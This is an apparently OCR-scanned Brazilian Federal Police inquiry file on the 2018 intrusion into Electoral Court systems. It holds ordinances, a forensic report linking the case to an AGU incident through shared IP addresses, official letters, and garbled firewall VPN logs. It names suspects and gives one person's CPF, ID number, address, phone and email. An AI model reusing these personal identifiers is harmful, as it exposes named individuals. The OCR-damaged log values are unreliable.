https://sei.tse.jus.br/sei/controlador_externo.php?

acao=documento_conferir&id_orgao_acesso_externo=0&cv=1230306&crc=279BF2C8,

informando, caso não preenchido, o código verificador 1230306 e o código CRC

279BF2C8.
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TRIBUNAL SUPERIOR ELEITORAL

 

Portaria TSE nº 160 de 04 de março de 2020.

 

 

A PRESIDENTE DO TRIBUNAL SUPERIOR

ELEITORAL, no uso de suas atribuições legais e regimentais,

 

RESOLVE

 

Art. 1º Designar o Dr. Leonardo Castanho Mendes, Juiz

Auxiliar do Gabinete da Presidência, para compor a Comissão

de Sindicância instituída pela Portaria TSE nº 976 de 08 de novembro de

2018, em substituição ao Dr. Fernando Pessôa da Silveira Mello.

 

Art. 2º Prorrogar, por sessenta dias, o prazo para conclusão dos

trabalhos da Comissão referida no art. 1º.

 

 

Ministra ROSA WEBER
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TRIBUNAL SUPERIOR ELEITORAL 

Portaria TSE nº 160 de 04 de março de 2020. 

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no 
uso de suas atribuições legais e regimentais, 

RESOLVE 

Art. 1º Designar o Dr. Leonardo Castanho Mendes, Juiz 
Auxiliar do Gabinete da Presidência, para compor a Comissão 
de Sindicância instituída pela Portaria TSE nº 976 de 08 de 
novembro de 2018, em substituição ao Dr. Fernando Pessôa da 
Silveira Mello. 

Art. 2º Prorrogar, por sessenta dias, o prazo para 
conclusão dos trabalhos da Comissão referida no art. 1 º. 

Mini;>tr ROSA WEBER 

( 

2018.00.000014309-3 Documento nO 1268606 v3 

Sigiloso
Fl. 172
SR/PF/DF

2020.0043195

E
s
t
e
 
d
o
c
u
m
e
n
t
o
 
t
e
m
 
o
 
m
e
s
m
o
 
v
a
l
o
r
 
p
r
o
b
a
n
t
e
 
d
o
 
o
r
i
g
i
n
a
l
 
a
p
r
e
s
e
n
t
a
d
o
,
 
n
o
s
 
t
e
r
m
o
s
 
d
o
 
§
 
1
º
 
d
o
 
A
r
t
.
 
1
1
 
d
a
 
L
e
i
 
1
1
.
4
1
9
/
2
0
0
6
.

A
u
t
e
n
t
i
c
a
d
o
 
p
o
r
 
E
s
c
r
i
v
a
o
 
d
e
 
P
o
l
i
c
i
a
 
F
e
d
e
r
a
l
,
 
L
E
O
N
A
R
D
O
 
B
R
U
C
E
 
M
A
D
U
R
E
I
R
A
 
L
O
P
E
S
,
 
M
A
T
R
Í
C
U
L
A
:
 
1
7
9
3
3
,
 
e
m
 
0
4
/
1
1
/
2
0
2
0
,
 
à
s
 
1
1
h
2
0
.

Fl. 349
SR/PF/DF

2020.0043195



Ano 2020, Número 047 Brasília, terça-feira, 10 de março de 2020 Página 3

Diário da Justiça Eletrônico do Tribunal Superior Eleitoral. Documento assinado digitalmente conforme MP n. 2.200-2/2001, de 24.8.2001, que institui a Infra 
estrutura de Chaves Públicas Brasileira - ICP-Brasil, podendo ser acessado no endereço eletrônico http://www.tse.jus.br

Portaria TSE nº 137 de 21 de fevereiro de 2020.

 

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuições,

 

RESOLVE

dispensar, a pedido, o Dr. FERNANDO PESSÔA DA SILVEIRA MELLO das funções de Juiz Auxiliar do Gabinete da Presidência e de 
Juiz Ouvidor da Ouvidoria da Secretaria-Geral da Presidência a partir de 26 de fevereiro de 2020.

 

Ministra ROSA WEBER

Designação. Juiz Auxiliar. Comissão de Sindicância instituída.

Portaria TSE nº 160 de 04 de março de 2020.

  

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuições legais e regimentais,

RESOLVE

 

Art. 1º Designar o Dr. Leonardo Castanho Mendes, Juiz Auxiliar do Gabinete da Presidência, para compor a Comissão de 
Sindicância instituída pela Portaria TSE nº 976 de 08 de novembro de 2018, em substituição ao Dr. Fernando Pessôa da Silveira 
Mello.

 

Art. 2º Prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão referida no art. 1º.

 

Ministra ROSA WEBER

Designação. Juiz Auxiliar. Comissão de Processo Administrativo Disciplinar.

Portaria TSE nº 159 de 04 de março de 2020.

  

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuições legais e regimentais,

RESOLVE

 

Art. 1º Designar o Dr. Leonardo Castanho Mendes, Juiz Auxiliar do Gabinete da Presidência, para compor a Comissão de 
Processo Administrativo Disciplinar instituída pela Portaria TSE nº 226 de 21 de março de 2019, em substituição ao servidor 
Ronaldo Assunção Sousa do Lago.

 

Art. 2º Prorrogar, por sessenta dias, o prazo para conclusão dos trabalhos da Comissão referida no art. 1º.

 

Ministra ROSA WEBER

Designação. Juiz Auxiliar. Ouvidoria.

Portaria TSE nº 156 de 04 de março de 2020.

A PRESIDENTE DO TRIBUNAL SUPERIOR ELEITORAL, no uso de suas atribuições e tendo em vista o disposto no art. 1º, § 1ºA, da 

Publicação no DJE Portaria 160 (1273467)         SEI 2018.00.000014309-3 / pg. 76
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POLÍCIA FEDERAL
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS  - GRCC/DRCOR/SR/PF/DF 

Endereço: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902  - Brasília/DF
 

CERTIDÃO DE DESENTRANHAMENTO
2020.0043195-SR/PF/DF

 
CERTIFICO QUE,  desentranhei dos autos os documentos relacionados em virtude de erro no escaneamento dos
autos. O referido é verdade e dou fé.
 

Documento eletrônico assinado em 04/11/2020, às 11h21, por LEONARDO BRUCE MADUREIRA LOPES,
Escrivao de Policia Federal, na forma do artigo 1º, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A

autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura,
informando o seguinte código verificador: 4264408338f2ffb41156f88e2aff40fa9d46c67b
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MJSP - POLÍCIA FEDERAL 

COORDENAÇÃO-GERAL DE POLÍCIA FAZENDÁRIA 

SERVIÇO DE REPRESSÃO A CRIMES CIBERNÉTICOS 

 

1 

 

 

RELATÓRIO DE ANÁLISE DE ALTA TECNOLOGIA  

Nº 001/2020-UTC/SRCC/CGPFAZ/DICOR/PF 

 

 

 

ASSUNTO: INCIDENTE ADVOCACIA-GERAL DA UNIÃO (COMPLEMENTAR)  

 SEI nº 08200.008955/2019 

 

 

 

 

 

O presente Relatório trata de complementação das informações encaminhadas pela 

Advocacia-Geral da União, referentes ao processo SEI nº 08200.008955/2019, sobre incidentes 

de segurança ocorridos nos sistemas informatizados daquele órgão. 

 

1. DILIGÊNCIAS 

A partir das informações levantadas no Relatório de Alta Tecnologia 006/2019, 

foram oficiadas diversas empresas, para que fornecessem dados cadastrais referentes a 

endereços IP utilizados no incidente: 

• OFÍCIO Nº 8/2019-UTC/SRCC/CGPFAZ/DICOR/PF – Claro S.A 

• OFÍCIO Nº 9/2019-UTC/SRCC/CGPFAZ/DICOR/PF – Telefônica Brasil 

• OFÍCIO Nº 10/2019-UTC/SRCC/CGPFAZ/DICOR/PF – MAXIHOST 

• OFÍCIO Nº 11/2019-UTC/SRCC/CGPFAZ/DICOR/PF – Siqueiralink 

• OFÍCIO Nº 4/2020-UTC/SRCC/CGPFAZ/DICOR/PF – Locaweb 

 

Os ofícios supracitados, bem como as respostas recebidas, encontram-se anexadas 

ao Processo SEI da referência. Cumpre destacar que a empresa Siqueiralink não respondeu à 

determinação encaminhada por e-mail, mesmo após reiteração. 
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2. CORRELAÇÃO COM OUTROS CASOS 

Após o recebimento das respostas dos provedores, as informações relevantes, como 

endereços IP e usuários responsáveis, foram inseridas na Base Nacional de Crimes Cibernéticos 

(BNCC). 

Após pesquisas na ferramenta supracitada, foram encontradas correlações do caso 

em tela com outros dois casos de incidente de segurança, um relativo ao Tribunal Superior 

Eleitoral (vide Relatório de Alta Tecnologia nº 002/2019-UTC/SRCC) e outro relativo ao 

incidente investigado no IPL 005/2017-DICINT/DIP, as quais serão detalhadas abaixo. 

 Inicialmente, foi constatada a existência no caso AGU de diversos endereços IP 

idênticos aos utilizados em incidente de segurança ocorrido no Tribunal Superior Eleitoral, 

pertencentes ao provedor de VPN NORDVPN, conforme diagrama abaixo: 

 

Figura 1 - Diagrama de correlação entre os casos AGU e TSE. 
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Segue tabela com os timestamps correspondentes aos acessos do incidente da AGU 

e do TSE: 

 

ENDEREÇO IP TIMESTAMP AGU TIMESTAMP TSE 

185.153.176.2 28/11/2018 00:21:12 18/04/2018 02:37:52 a  

18/04/2018 02:56:54 

185.153.176.3 24/10/2018 04:31:53 18/04/2018 03:20:35 

185.153.176.4 16/11/2018 21:04:30 17/04/2018 21:31:18 

a 18/04/2018 19:12:14 

185.153.176.5 09/11/2018 00:35:21 18/04/2018 01:49:06 

a 18/04/2018 02:19:32 

185.153.176.6 25/01/2019 12:10:07 18/04/2018 03:04:47  

a 18/04/2018 03:13:54 

185.153.176.8 14/11/2018 02:35:32 20/04/2018 10:50:23  

a 20/04/2018 15:15:42 

 

Segundo pesquisa realizada na Internet, a empresa NordVPN tem sede no Panamá, 

país que não possui leis de retenção de dados obrigatórias e não participa das alianças Cinco 

Olhos (Five Eyes) ou Catorze Olhos (Fourteen Eyes)1. 

Após consultas à DICINT/DIP, referentes ao IPL nº 005/2017-DICINT/DIP, foram 

encaminhadas informações dos endereços IP e dados cadastrais investigados. Com o auxílio da 

BNCC, foi possível correlacionar tais informações ao incidente TSE. 

Inicialmente, verificou-se que o endereço IP 191.252.0.19, pertencente à empresa 

Locaweb, aparecia nos dois incidentes. Além desse, também foi identificado no caso TSE o 

endereço IP 191.252.64.20, pertencente à mesma empresa. 

                                                
1 https://pt.wikipedia.org/wiki/NordVPN 
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Após oficiar à empresa Locaweb (Ofício Nº 4/2020-

UTC/SRCC/CGPFAZ/DICOR/PF), foram informados os seguintes dados cadastrais do 

responsável pela hospedagem do endereço IP 191.252.64.20: 

 

Responsável: Luiz Henrique Detlinger  

CPF: 042.749.858-90  

RG: 10275110 País: Brasil  

CEP: 69901441  

Endereço: Rua Santa Inês Número: 99807  

Bairro: Conjunto Guiomard Santos  

Cidade: Rio Branco  

Estado: Acre  

Telefone Fixo 1: (12) 3953-9999  

E-mail principal: ednei.pexa@protonmail.com  

Forma de Pagamento: Boleto Bancário 

 

Verificou-se que LUIZ HENRIQUE DETLINGER também aparecia na 

investigação do IPL nº 005/2017-DICINT/DIP, como responsável por uma hospedagem no 

endereço IP 191.252.56.210 da empresa Locaweb. 

Ao pesquisar por informações adicionais referentes ao IPL, verificou-se que um 

dos autores responsáveis pelo incidente foi o nacional CARLOS EDUARDO SOARES DA 

SILVA. 

Após inserção na BNCC, também foi possível identificar mais uma correlação do 

caso do TSE ao IPL supracitado:  

Durante a investigação ao incidente ao TSE, foram solicitados dados cadastrais de 

alguns endereços IP utilizados no incidente, os quais pertenciam à empresa TIM 

(177.165.110.249 e 186.197.65.147). 

 

ENDEREÇO IP TIMESTAMP INICIAL TIMESTAMP FINAL 

177.165.110.249 21/04/2018 10:01:29 21/04/2018 12:40:46 

186.197.65.147 21/04/2018 12:56:05 21/04/2018 15:04:14 
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Segundo informado pela empresa à época, o usuário responsável pelos acessos 

também era CARLOS EDUARDO SOARES DA SILVA: 

 

 

 
Figura 2 - Linha telefônica correspondente aos IP 177.165.110.249 e 186.197.65.147 

 

 

Figura 3 - Dados cadastrais da linha 11-95982-6189 

 

Segue abaixo diagrama com as correlações encontradas: 
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3. CONCLUSÃO 

Pelos motivos apresentados neste relatório, acredita-se que os casos referentes ao 

IPL 005/2017-DICINT/DIP, AGU (Relatório 006/2019) e TSE (Relatório 002/2019) estão 

relacionados, de modo que devem ser tratados em conjunto. 

 

Era o que havia a relatar. 

 

Brasília/DF, 21 de maio de 2020. 

 

 

 

 

 

 

 

FLÁVIO SILVEIRA DA SILVA 

Perito Criminal Federal 

IVO DE CARVALHO PEIXINHO 

Perito Criminal Federal 

 

Fl. 358
SR/PF/DF

2020.0043195



 
POLÍCIA FEDERAL 

GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS  - GRCC/DRCOR/SR/PF/DF
 

DESPACHO N° 1424548/2020 
2020.0043195-SR/PF/DF

 

Considerando que ainda restam pendentes diligências no presnete inquérito, 

1. Junte-se cópia do Relatório de Análise de Alta Tecnologia nº  001/2020-UTC/SRCC/CGPFAZ/DICOR/PF;  

2. Verifique-se se consta em cartório resposta ao Ofício n° 0070/2020, reiterado pelo Oficio n° 2179/2020. Em caso positivo,
junte-se. Em caso negativo, reitere-se mais uma vez; 

3. Expeçam-se ofícios à 12ª Vara Federal da Seção Judiciária do DF (Processo nº  0034686-42.2017.4.01.3400) e à 7ª Vara
Federal da Subseção Judiciária de São Paulo (Processo nº  0013343-32.2017.4.03.6181), com o seguinte teor:

 

Exmo(a). Sr(a). Juiz(a),

 

O Inquérito Policial nº  1361/2018-SR/PF/DF (renumerado para IPL 2020.0043195-SR/PF/DF no sistema Epol) foi instaurado em
08/11/2018, a pedido da então Ministra Presidente do TSE, Rosa Weber, para apurar a suposta invasão a sistemas e bancos
de dados do TSE, com acesso e divulgação de dados sigilosos daquele Tribunal. 

A partir de arquivos enviados pelo TSE, o perito criminal Flávio Silveira, lotado no Serviço de Repressão a Crimes Cibernéticos,
elaborou a Informação nº  002/2019-UTC/SRCC/CGPFAZ/DICOR/PF, na qual aponta a possibilidade de vinculação dos eventos
divulgados em novembro de 2018 (que ensejaram a instauração do presente inquérito) com outros eventos ocorridos em
abril/2018 naquele Tribunal e sugere oficiar as empresas para que forneçam os dados cadastrais dos endereços IP utilizados, bem
como a solicitação do contendo referente a hospedagem da Locaweb (IP 191.252.0.19) utilizada para baixar o artefato malicioso.

Posteriormente, por conta de outra invasão cibernética, o mesmo perito elaborou o Relatório de Análise de Alta Tecnologia nº
001/2020-UTC/SRCC/CGPFAZ/DICOR/PF, no qual conclui: "Pelos motivos apresentados neste relatório, acredita-se que os
casos referentes ao IPL 005/2017-DICINT/DIP, AGU (Relatório 006/2019) e TSE (Relatório 002/2019) estão relacionados, de
modo que devem ser tratados em conjunto".

Assim, considerando que a autoria dos fatos tratados no IPL 005/2017-DICINT/DIP (que tramitou perante a 12ª Vara Federal da
Seção Judiciária do DF - Processo nº  0034686-42.2017.4.01.3400 e perante a 7ª Vara Federal da Subseção Judiciária de São
Paulo - Processo nº  0013343-32.2017.4.03.6181) é coincidente com a autoria dos fatos tratados no presente inquérito (segundo
apontado no Relatório de Análise de Alta Tecnologia nº  001/2020-UTC/SRCC/CGPFAZ/DICOR/PF), solicito a vossa
excelência o compartilhamento de provas produzidas no âmbito daquele inquérito (IPL 005/2017-DICINT/DIP), de modo que
seja comprovada a vinculação daqueles autores com os fatos tratados na presente investigação, conferindo-se celeridade e
eficiência ao apurartório.

Com votos e estrima e consideração, pede o deferimento. 

4. Tendo em vista o término do prazo de permanência dos autos em cartório policial, remetam-se ao MPF/DF para fins de controle
externo. 

 
Brasília/DF, 23 de novembro de 2020.

Documento eletrônico assinado em 23/11/2020, às 15h12, por VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia Federal,
na forma do artigo 1º , inciso III, da Lei 11.419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser conferida no

site https://servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte código verificador:
37d13c2baa4fc4c13acc4be1dd3e04a1aa794644
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POLÍCIA FEDERAL 

GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS   - GRCC/DRCOR/SR/PF/DF 
Endereço : SAIS, Qd. 7, Lo te  23, Sala 135 - CEP: 70610-902   -  Brasília / DF

 
Ofício nº   1425061/2020 - GRCC/DRCOR/SR/PF/DF

Brasília / DF , 23 de novembro de 2020 .
 
A Sua Excelência 
Presidente do Tribunal Superior Eleitoral 
Tribunal Superior Eleitoral - TSE 
Setor de Administração Federal Sul (SAFS) 
Quadra 7, Lotes 1/2, Brasília/DF 
CEP 70070-600
 
Assunto: 2ª Reiteração do Ofício nº 0070/2020 -  IPL 1361/2018-4 SR/PF/DF
Referência : IPL  2020.0043195-SR/PF/DF   (número novo) ou IPL 1361/2018-4 - SR/PF/DF (número antigo)
 

            Senhor Ministro,

        Visando a instruir os autos do Inquérito Policial nº   2020.0043195-SR/PF/DF (número novo)  ou IPL 1361/2018-4 - SR/PF/DF
(número antigo), solicito a Vossa Excelência informar as portas lógicas das seguintes conexões, bem como seus fusos horários:

189.40.75.154, em 18/04/2018, às 18:56:14 
191.51.34.72, em 18/04/2018, às 19:02:05 
189.40.75.239, em 18/04/2018 20:45:41 
177.219.117.183, em 18/04/2018, às 20:56:20 
189.40.72.247, 18/04/2018, às 22:21:17 
189.40.72.14, em 18/04/2018 22:23:14 
189.40.91.135, em 18/04/2018, às 22:29:37 
189.40.90.239, em 19/04/2018, às 01:13:32 
189.40.90.253, em 19/04/2018, às 04:08:37 
201.81.167.53, em 18/04/2018, às 03:15:28 e 21/04/2019, às 08:36:42, e 
201.6.129.235, em 18/04/2018, às 05:24:54 e 18/04/2018, às 05:48:59.

             Em anexo cópia de fl. 85 dos autos, encaminhada pelo servidor CRISTIANO MOREIRA ANDRADE.

             Respeitosamente,

 

VICTOR NEVES FEITOSA CAMPOS 
Delegado de Polícia Federal 

Classe Especial - Matrícula nº  16.179

Documento eletrônico assinado em 23/11/2020, às 15h32, por VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia Federal,
na forma do artigo 1º , inciso III, da Lei 11.419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser conferida no

site https://servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte código verificador:
d0709030d3feab517f65cdfe4b2868da0d01a809
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 POLÍCIA FEDERAL
 

TERMO DE REMESSA
 

 
Faço a remessa dos autos para a APRECIAÇÃO ao judiciário.

Documento eletrônico assinado em 23/11/2020, às 15h57, por LEONARDO BRUCE MADUREIRA LOPES, Escrivao de Policia
Federal, na forma do artigo 1º , inciso III, da Lei 11.419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser

conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte código verificador:
5d26917ee7b03c46bb004a2502d26b8c538259da
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Protocolado por: LEONARDO BRUCE MADUREIRA LOPES 

Justiça Federal da 1ª Região

Varas e Juizados (1º grau)

Comprovante de protocolo

Processo
Número do processo: 1065955-77.2020.4.01.3400
Órgão julgador: 10ª Vara Federal Criminal da SJDF
Jurisdição: Seção Judiciária do Distrito Federal
Classe: INQUÉRITO POLICIAL (279)
Assunto principal: Invasão de Dispositivo Informático
Valor da causa: R$ 0,00
Segredo de justiça: Sim
Partes: Polícia Federal no Distrito Federal (PROCESSOS CRIMINAIS)

INDETERMINADO

Audiência

Documentos protocolados Tipo Tamanho (KB)

Petição inicial Petição inicial 6,02
2020.0043195-Autos Principais-até fls. 361-
2020.11.23.pdf

Inquérito policial 9813,24

Assuntos Lei
DIREITO PENAL (287) / Crimes contra a inviolabilidade de segredo (3412) / Invasão de
Dispositivo Informático (11978 cp

TESTEMUNHA TESTEMUNHA

Polícia Federal no Distrito Federal (PROCESSOS
CRIMINAIS) INDETERMINADO

Distribuído em: 23/11/2020 15:00
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POLÍCIA FEDERAL
GRUPO DE REPRESSÃO A CRIMES CIBERNÉTICOS  - GRCC/DRCOR/SR/PF/DF

 

DESPACHO N° 1687089/2021
2020.0043195-SR/PF/DF

 
 

1. Junte-se a resposta do TSE, a manifestação do MPF/DF e a decisão judicial; 

2. Expeça-se ofício à TIM requisitando os dados cadastrais dos usuarios dos IP: 
189.40.75.154, em 18/04/2018, as 18:56:14
191.51.34.72, em 18/04/2018, as 19:02:05
189..40.75.239, em 18/04/2018 20:45:41
177.219.117.183, em 18/04/2018, as 20:56:20
189..40.72.247, 18/04/2018, as 22:21:17
189.40.72.14, em 18/04/2018 22:23:14
189.40.91.135, em 18/04/2018, as 22:29:37
189.40.90.239, em 19/04/2018, as 01:13:32
189.40.90.253, em 19/O4/2018, as 04:08:37

Devendo a indicação dos IPs acima ser acrescida das informações de porta lógica enviadas pelo TSE, confiorme item 1
supra;

3. Tendo em vista o término do prazo de permanência dos autos em cartório policial, remetam-se ao MPF/DF para fins de
controle externo.

 
Brasília/DF, 19 de abril de 2021.

Documento eletrônico assinado em 19/04/2021, às 14h53, por VICTOR NEVES FEITOSA CAMPOS, Delegado de Policia
Federal, na forma do artigo 1º , inciso III, da Lei 11.419, de 19 de dezembro de 2006. A autenticidade deste documento pode ser

conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura, informando o seguinte código verificador:
b52ce6a8353c2753ec1efd4d15b04958cc01c9ba
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2711112020 Webmail PF - (1373) INBOX

E|1C: IPL 1361/2018-4 SR/PF/DF&#8203; - GRCC&#8203;
Sexta, Novembro 27, 2020 12:05 -03

Victor Neves Feitosa Campos
@j|_pgs.vnfc@_p_f.g0v.br

Para

ITIE

Favorjuntar ao IPL

De: TSE/Presidéncia <presidencia@tse.jus.br>
Enviado: quinta-feira, 26 de novembro de 2020 19:24
Para: Victor Neves Feitosa Campos
Assunto: IPL 1361/2018-4 SR/PF/DF&#8203; - GRCC&#8203;

Boa tarde,

Encaminho em anexo o Oficio GAB-SPR n9 S627/2020.

Solicito a gentileza de confirmar recebimento.

Joice Rocha
Assessora-Chefe de Gabinete
Secretaria-Geral da Presidéncia
Telefone (61) 3030-7241

Oficio_15066l+7.html

50.9 KIB

lnf0rmacao_1270536.html

70.8 KIB

Despachu_1510077.html

49.9 KiB

lnf0rmacao_1510009.html

httpsuvwebmail .pf.gov.brISOGo.-‘so/g rcc.dfIMaillview#lMail/OIINBOX/4965
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. 'l":.'.I._‘.:v .

'":‘i'.§.

TRIBUNAL SUPERIOR ELEITORAL

DESPACHO

SECRETARIA DE TECNOLOGIA DA INFORMAQAO

Em atengéo ao Despacho GAB-SPR (SE! 1506619], encaminho
a Informagfio COINF/STI n9 249/2020 [SE] 1510009) com os esclarecimentos
apresentados pela érea técnica desta secretaria e transcritos a seguir:

"[...] os dados listados na lnfomagéo COINF/STI n° 245/2020 (1505168) vieram em
discos rigidos remetidos ao TSE pelo TRE-RN e pelo TRE-BA e tais midias foram
entregues no ano de 2019 fa equipe sob gestio da Delegada Cassiana Saad.
N50 foi realizada copia dos discos rigidos para ambiente do TSE.
Registramos ainda que, posteriormente é entrega dos discos rigidos citados, Deiegados
da Policia Federal realizaram apresentagio de anélise preliminar dos conteildos
existentes nas midias".

GIUSEPPE DUTRA IANINO
so SBCRI-ZTARIO(A) ma TECNOLOGIA DA INFORMAQAO

Documento assinado eletronicamente em Z6/11/2020, Q5 18:20, conforme art. 19, §29, III, b,
dal.ei11.419g200§.

A autenticidade do documento pode ser conferida em
_.= https:1/sei.tse.jus.br/sei/controlador externo.pjp_Z
' acao=documento conferir&id orgao accsso externo=0&cv=1510077&crc=D6FAOFA5,

;-_;r§-- informando, caso n50 preenchido, 0 cédigo verificador 1510077 e o cédigo CRC
;nemoms.E|J."|.|:|-I-if -'-5» \

2020.00.U[l[]UUO217-Z DQcumem0n°151g[]77v2
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:' 1.’. I‘.

TRIBUNAL SUPERIOR ELEITORAL
Informaofio SESOP/COINF/STI n9 5/2020

Senhor Coordcnador,

Solicitamos ao TRE-PB que verificasse nos logs dos firewalls as informaqfies
solicitadas. Segue abaixo as informaooes de porta/ip localizadas nos referidos logs.

189.40.’/5.154, em 18/04/2018, as 18:56:14 —> portas: origem ( 32738), destino (4500 VPN)

Apr 18 18:56:14 rpbfrot03.tre-pb.gov.br id=fircwaIl sn=COEAE485B974 time="20l8-04-18
l8:56:14“ fw=l87.33.236.l65 pri=6 c=l6 gcat=5 m=237 src=189.40.75.154::X1
dst=l87.33.236.l65:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 18 18:56: 14 rpbfrot03.t1'e-pb.gov.br id=firewall sn=COEAE485B974 time="20l8-04-18
18:56:14"fw=l87.33.236.l65 pri=6 c=l6 gcat=7 m=139 src=l89.40.75.l54:32'/38
dst=l87.33.236.165:4500 usr="digitro"

191 .51 .34.’/'2, em 18/04/2018, as 19:02:05 —> portas: origem (63674), dcstino (4500 VPN)

Apr 18 19:02:05 rpbfrot03.tre-pb.gov.br id=fircwall sn=COEAE485B974 timc="20l8-04-18
19:02:05"fw=l87.33.236.165 pri=6 c=l6 gcat=5 m=237 src=l9l.5l.34.72::Xl
dst=l87.33.236. l65:0:Xl us1="digitro" proto=tcp sess=vpnc

Apr 18 19:02:06 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="20l8-04-18
19:O2:05" fw=187.33.236.l65 pri=6 c=l6 gcat=7 m=l39 src=19l.5l.34.72:63674
dst=l 87.33236. 1 65:450O uSr="digitr0"

189.40.75.239, em 18/04/2018 20:45:41 —-> portas: origem (61268), dcstino (4500 VPN)

Apr 18 20:45:41 rpbfrot03.trc-pb.gov.br id=firewall sn=COEAE485B974 timc="20l8-04-18
20:45;41" fw=l87.33.236.l65 pri=6 c=l6 gcat=5 m=237 src=l89.40.75.239::Xl
dst=l87.33.236.l65:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 18 20:45:41 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="20l8-04-18
20:45:41" fw=l87.33.236.l65 pri=6 c=l6 gcat=7 m=l39 src=l89.40.75.239:6l268
dst=l87.33.236.165:4500 usr="digitro"
2030-002999009217-2 Documcnto 11° 1270536 v2
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177.219.117.183, em 18/04/2018, As 20:56:20 —> portas: origem (63674), destino (4500 VPN)

Apr 18 20:56:20 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 timc="20l8-O4-18
20:56:20" fw=187.33.236.165 pri=6 c=l6 gcat=5 m=237 src=177.219.ll7.183::X1
dst=187.33.236.165:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 18 20:56:20 1pbfrot03.tre-pb.gov.br id=firewal1 sn=COEAE485B974 time="2018-04-18
20:56:20“ fw=187.33.236.165 pri=6 c=l6 gcat=7 m=l39 src=177.219.1 17183163674
dst=187.33.236.165:4500 usr="digitro"

189.40.72.247, 18/04/2018, as 22:21:17 —> portasz origem (5687), destino (4500 VPN)

Apr 18 22:21:17 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
22:21:17" fw=187.33.236.165 pri=6 c=l6 gcat=5 m=237 src=189.40.72.247::X1
dst=187.33.236.l65:0:X1 usr="digitro" proto=tcp sess=vpnc

Apr 18 22:21 :17 rpbfrot03.tre-pb.gov.br id=firewa11 sn=COEAE485B974 time="2018-04-18
22:2l:l7" fiw=187.33.236.165 pri=6 c=l6 gcat=7 m=l39 src=l89.40.72.247:5687
dst=187.33.236.165:4500 usr=“digitro”

189.40.72.14, em 18/04/2018 22:23:14 —> portas: origem (47290), destino (4500 VPN)

Apr 18 22:23: 14 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-18
22:23:14" fw=187.33.236.l65 pri=6 c=l6 gcat=5 m=237 src=189.40.72.14::Xl
dst=! 87.33.236.l65:0:X1 us:="digitro" proto=tcp sess=vpnc

Apr 18 22:23:14 rpbfr0t03.tre-pb.gov.br id=firewa1l sn=COEAE485B974 time="2018-04-18
22:23:14" f‘w=l87.33.236.l65 pri=6 c=l6 gcat=7 m=l39 src=l89.40.72.l4:47290
dst=187.33.236.165:4500 usr="digilro"

189.40.9l.135 em 18/04/2018, as 22:29:37 —+ portas: origem (57362), destino (4500 VPN)

Apr 18 22:29:37 rpbfrot03.trc-pb.gov.br id=firewa1l sn=COEAE485B974 time="2018-04-18
22:29:37“ t'w=l87.33.236.165 pri=6 c=l6 gcat=5 m=237 src=189.40.9l.135::X1
dst=187.33.236.165:0:Xl usx="digitro" prot0=1cp sess=vpnc

Apr 18 22:29:37 rpbfrot03.t1'c-pb.gov.brid=fircwal1 sn=COEAE485B974 time="2018-04-18
22:29:37" fw=187.33.236.165 pri=6 c=l6 gcat=7 m=l39 src=189.40.9l.135:57362
dsl=187.33.236.165:4500 usr="digitro"

l89.40.90.239, em 19/04/2018, as 01:13:32 —> portas: origem (64359), destino (4500 VPN)

Apr 19 01:13:32 rpbfi'0t03.trc-pb.gov.br id=fircwall sn=COEAE485B974 timc="20l8-04-19
01:13:32" fw=187.33.236.165 pri=6 c=l6 gcat=5 m=237 src=189.40.90.239::X1
dst=l87.33.236.165:0:X1 usr="digitro" prot0=tcp sess=vpnc

2020-00-000000217-2 Documento n° 1270535 v2
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Apr 19 01:13:32 rpbfrot03.tre-pb.g0v.br id=firewall sn=COEAE485B974 time="20l8-O4-19
01:13:32" fw=187.33.236.165 pri=6 c=l6 gcat=7 m=l39 src=189.40.90.239:64359
dst=187.33.236.l65:4500 us|="digitr0"

l89.40.90.253, em 19/04/2018, as 04:08:37 —> portas: origcm (16803), desfino (4500 VPN)

Apr 19 04:08:37 rpbfrot03.tre-pb.gov.br id=firewall sn=COEAE485B974 time="2018-04-19
04:08:37“ fw=l87.33.236.165 pri=6 c=l6 gcat=5 m=237 src=189.40.90.253::X1
dst=187.33.236.165:0:X1 us|="digilro" proto=tcp scss=vpnc

Apr 19 04:08:37 rpbfrot03.tre-pb.gov.br id=firewal1 sn=COEAE485B974 time="2018-04-19
04:08:37" f\\=l87.33.236.165 pri=6 c=l6 gcat=7 m=l39 src=l89.40.90.253: 16803
dst=187.33.236. l65:4500 usr="digitro"

201.81.167.53, em 18/04/2018, as 03:15:28 e 21/04/2019, as 08:36:42 —> portas: origem
(6802,6897), destino (4500 VPN)

Apr 18 03:15:28 rpbfrot03.tre-pb.gov.br id=fircwall sn=COEAE485B974 timc="20l8-
0

4-18 03:15:28" fw=187.33.236.l65 pri=6
c=l6 gcat=5 m=237 src=20l.8l.l67.53::Xl
d

st=l87.33.236.165:0:Xl usr="digitro" prolo=tcp
scss=vpnc

